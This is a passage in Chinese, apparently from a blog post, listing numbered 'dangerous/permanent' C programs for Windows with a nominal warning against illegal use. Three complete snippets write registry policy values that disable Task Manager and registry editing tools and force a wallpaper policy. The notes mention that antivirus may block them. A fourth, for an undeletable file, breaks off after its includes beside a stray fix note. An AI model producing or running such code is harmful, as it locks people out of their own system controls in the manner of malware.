注：以下代碼應勿用于非法（Dev-c++5.11實測可用）

警告:以下為危險/永久性程序，請慎重使用

8.

效果:禁用任務管理器

提示:可能被殺毒軟件攔截

#include <stdio.h>
#include <windows.h> 
int main()
{HKEY hkey;DWORD value = 1;RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));RegCloseKey(hkey);return 0;
}

?

9.

效果:禁用注冊表

提示:可能被殺毒軟件攔截

#include <stdio.h>
#include <windows.h> 
int main()
{HKEY hkey;DWORD value = 1;RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);RegSetValueEx(hkey, "DisableRegistryTools", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));RegCloseKey(hkey);return 0;
}

10.

效果:桌面壁紙

?

#include <stdio.h>
#include <windows.h> 
int main()
{DWORD value = 1;HKEY hkey;RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);RegSetValueEx(hkey, "Wallpaper", NULL, REG_SZ, (unsigned char *)"c://", 3);RegSetValueEx(hkey, "WallpaperStyle", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));return 0;
}

?

11.

效果:不可刪除文件

解決方法：將51-52行換成52行

#include <stdio.h>
#include <shlobj.h>
#include <windows.h>// 添加不可刪除文件
